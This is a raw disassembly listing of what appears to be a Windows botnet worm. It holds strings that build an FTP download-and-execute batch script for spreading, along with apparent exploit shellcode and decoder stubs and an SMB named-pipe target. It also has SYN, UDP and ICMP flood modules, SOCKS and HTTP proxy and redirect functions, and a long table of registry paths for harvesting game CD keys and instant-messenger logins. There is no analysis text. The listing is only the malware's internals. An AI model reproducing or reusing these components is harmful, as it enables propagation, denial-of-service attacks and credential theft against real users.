		dd offset byte_40A893+7
		dd 1, 0
		dd 1, 0
		dd offset byte_40A893+7
		dd 1, 0
		dd 1, 0
		dd offset byte_40A893+7
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465BC	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467A4	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 4
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		align 10h
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 10h
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 4
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 8
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 10h
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 4
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 8
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 10h
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 10h
dword_4468F0	dd 6EB06EBh			align 8
dword_4468F8	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_446904	dd 1CEC8166h	dword_446908	dd 0E4FF07h			align 10h
dword_446910	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44695C	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_44698C	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469AC	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469B6:				; CODE XREF: ___:004469C0j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469B6
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 4
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 8
word_446C18	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C1C	dd 215h				dd 0
dword_446C24	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C2C:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C30
; ---------------------------------------------------------------------------


loc_446C2E:				; CODE XREF: ___:loc_446C30p
		jmp	short loc_446C35
; ---------------------------------------------------------------------------


loc_446C30:				; CODE XREF: ___:loc_446C2Cj
		call	loc_446C2E


loc_446C35:				; CODE XREF: ___:loc_446C2Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C3A	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C3F	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C44:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C48
; ---------------------------------------------------------------------------


loc_446C46:				; CODE XREF: ___:loc_446C48p
		jmp	short loc_446C4D
; ---------------------------------------------------------------------------


loc_446C48:				; CODE XREF: ___:loc_446C44j
		call	loc_446C46


loc_446C4D:				; CODE XREF: ___:loc_446C46j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C51	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C55	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C5C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC0	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CD0	dd 74656720h	byte_446CD4	db 20h			; DATA XREF: sub_426560+A2r
dword_446CD5	dd 0E8006A00h	dword_446CD9	dd 17h							; sub_426560+D2r
dword_446CDD	dd 0E8C30175h	dword_446CE1	dd 1							; sub_426560+E7r
byte_446CE5	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446CEF	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427800+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427800+B4o
		align 10h
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427800+43o
		align 4
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427980+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427980+2Bo
		align 10h
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427980+23o
		align 10h
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427980+Co
		align 10h
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
		align 10h
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 10h
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 10h
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 4
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 10h
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 10h
		dd 0
off_446EF4	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429170+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429170+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A611o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A5ACo
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 10h
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A222o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A091o
					; ___:0042A0A7o
		align 10h
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A073o
					; ___:0042A089o
		align 10h
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429EB4o
		align 10h
aChunked	db 'chunked',0          ; DATA XREF: ___:00429E71o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429E25o
		align 10h
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429D8Do
		align 8
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429BEEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		align 10h
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429BB9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 4
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429ABBo
					; ___:00429F00o
		align 4
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429A90o
		align 10h
		dd 0
asc_4471E4	db 0Dh,0Ah,0		; DATA XREF: ___:0042997Co
					; ___:00429A3Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:00429947o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:00429712o
		align 10h
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:004296DDo
		dd 0
off_44720C	dd offset byte_544547	; DATA XREF: ___:00429618o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42AC10+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AE10+69o
		align 10h
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AE10+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AE10+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 4
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472EC	dd 1000005h, 0	dword_4472F4	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 10h
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473BCo
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 4
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 10h
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 10h
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 10h
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 8
dword_447498	dd 524F5453h	byte_44749C	db 0			; DATA XREF: sub_42E5B0+EDr
		align 10h
dword_4474A0	dd 52544552h	byte_4474A4	db 0			; DATA XREF: sub_42E5B0+D3r
		align 4
dword_4474A8	dd 5453494Ch	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+B8r
		align 10h
dword_4474B0	dd 54534C4Eh	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+9Er
		align 4
dword_4474B8	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 4
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 10h
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 4
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 8
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 10h
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 10h
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 10h
off_447670	dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do
					; "socket open failed"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 8
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 10h
word_4476B0	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476B4	dd 25206425h, 64hdword_4476BC	dd 455A4953h, 732520h, 0dword_4476C8	dd 4D54444Dh, 732520h, 0dword_4476D4	dd 4F544E52h, 732520h, 0dword_4476E0	dd 52464E52h, 732520h, 0dword_4476EC	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 10h
dword_447700	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 10h
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 448854h, 448F30h,	448820h, 80000002h, 4487C0h
		dd 448F30h, 448790h, 80000002h,	448738h, 448F30h, 448714h
		dd 80000002h, 4486CCh, 448F30h,	4486B4h, 80000002h, 448670h
		dd 448F30h, 448648h, 80000002h,	44860Ch, 448F30h, 4485D8h
		dd 80000002h, 448578h, 448F30h,	44854Ch, 80000002h, 448528h
		dd 448520h, 4484F4h, 80000002h,	4484CCh, 448520h, 4484B4h
		dd 80000001h, 448484h, 448480h,	448470h, 80000002h, 448434h
		dd 448F30h, 448424h, 80000002h,	4483E8h, 448F30h, 4483D4h
		dd 80000002h, 44838Ch, 448F30h,	448370h, 80000002h, 44832Ch
		dd 448F30h, 448310h, 80000001h,	4482E8h, 448480h, 4482D8h
		dd 80000001h, 4482B0h, 448480h,	448290h, 80000002h, 448254h
		dd 448250h, 448234h, 80000002h,	448210h, 448208h, 4481F0h
		dd 80000001h, 4481C4h, 4481BCh,	448198h, 80000002h, 44814Ch
		dd 448F30h, 448124h, 80000002h,	4480D0h, 448F30h, 448098h
		dd 80000002h, 448034h, 448F30h,	448000h, 80000002h, 447FA0h
		dd 448F30h, 447F84h, 80000002h,	447F3Ch, 448F30h, 447F20h
		dd 80000002h, 447ED8h, 448F30h,	447EC8h, 80000002h, 447E8Ch
		dd 448F30h, 447E7Ch, 80000002h,	447E40h, 448F30h, 447E18h
		dd 80000002h, 447DC4h, 448F30h,	447D9Ch, 80000002h, 447D4Ch
		dd 448F30h, 447D30h, 80000002h,	447D08h, 448480h, 447CF4h
		dd 80000002h, 447CBCh, 448F30h,	447C8Ch, 80000002h, 447C34h
		dd 448F30h, 447C18h, 80000001h,	447BC8h, 447BC0h, 447BA4h
		dd 80000002h, 447B60h, 447B54h,	447B3Ch, 80000001h, 447B0Ch
		dd 447B00h, 447AE0h, 80000002h,	447AA4h, 447BC0h, 447A84h
		dd 80000002h, 447A48h, 447BC0h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 4
		dd 0
dword_4488EC	dd 3A6D6961h, 732520h, 0dword_4488F8	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
